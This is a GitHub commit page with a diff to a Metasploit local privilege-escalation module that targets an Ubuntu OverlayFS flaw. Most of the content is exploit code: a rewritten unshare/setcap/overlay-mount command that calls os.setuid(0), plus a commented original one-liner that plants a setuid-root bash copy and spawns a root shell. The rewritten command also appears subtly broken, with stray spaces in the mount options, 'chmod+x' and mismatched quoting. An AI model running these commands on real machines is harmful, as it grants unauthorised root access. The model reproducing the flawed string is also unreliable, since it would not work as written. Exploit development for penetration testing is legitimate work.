Skip to content

Commit 22babe7

Browse files
author
Corey
committed
Add missing call to setcap, fix description
1 parent 73f6e76 commit 22babe7

File tree

1 file changed

+5
-12
lines changed

1 file changed

+5
-12
lines changed

modules/exploits/linux/local/game_overlay_privesc.rb

Lines changed: 5 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
2020
called during ovl_do_setxattr without calling the intermediate safety function
2121
vfs_setxattr. Ultimatly this module allows for root access to be achieved by
22-
writing setuid capabilities to a file that are not santiized after being unioned
22+
writing setuid capabilities to a file which are not santiized after being unioned
2323
with the upper mounted directory.
2424
},
2525
'License' => MSF_LICENSE,
@@ -68,13 +68,6 @@ def check
6868
# Must be Ubuntu
6969
fail_with(Failure::NotVulnerable, "Target is not Ubuntu.") unless kernel_version =~ /[uU]buntu/
7070

71-
72-
unless userns_enabled?
73-
return CheckCode::Safe "Unprivileged usernamespaces aren't permitted"
74-
end
75-
76-
vprint_good "Unprivileged usernames are permitted"
77-
7871
os = cmd_exec "cat /etc/os-release"
7972

8073
# grab codename i.e. Focal Fossa
@@ -110,9 +103,9 @@ def execute_command(cmd, opts = {})
110103
# Should we make sure directory doesn't already exist?
111104

112105
directories.each do |dir|
113-
print_status "Creating directory #{d}"
114-
cmd_exec "mkdir -p #{d}"
115-
register_dir_for_cleanup d
106+
print_status "Creating directory #{dir}"
107+
cmd_exec "mkdir -p #{dir}"
108+
register_dir_for_cleanup dir
116109
end
117110

118111

@@ -124,7 +117,7 @@ def execute_command(cmd, opts = {})
124117

125118
print_status "Starting new namespace, and running exploit..."
126119

127-
hack = "unshare -rm sh -c \"cap_setuid+eip /tmp/main/low/python3; mount -t overlay overlay -o rw, lowerdir=/tmp/main/low,upperdir=/tmp/main/up,workdir=/tmp/main/work mnt touch mnt/* && /tmp/main/up/python3 -c 'import os;os.setuid(0);os.system(\"chown root:root /tmp/main/low/marv && chmod u+s /tmp/main/low/marv && /tmp/main/marv\")\" "
120+
hack = "unshare -rm sh -c \"setcap cap_setuid+eip /tmp/main/low/python3; mount -t overlay overlay -o rw, lowerdir=/tmp/main/low, upperdir=/tmp/main/up, workdir=/tmp/main/work mnt && touch mnt/* && /tmp/main/up/python3 -c 'import os;os.setuid(0);os.system(\"chown root:root /tmp/main/low/marv && chmod+x /tmp/main/marv && /tmp/main/marv \")\" "
128121

129122
# g1vi original
130123
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"

0 commit comments

Comments
 (0)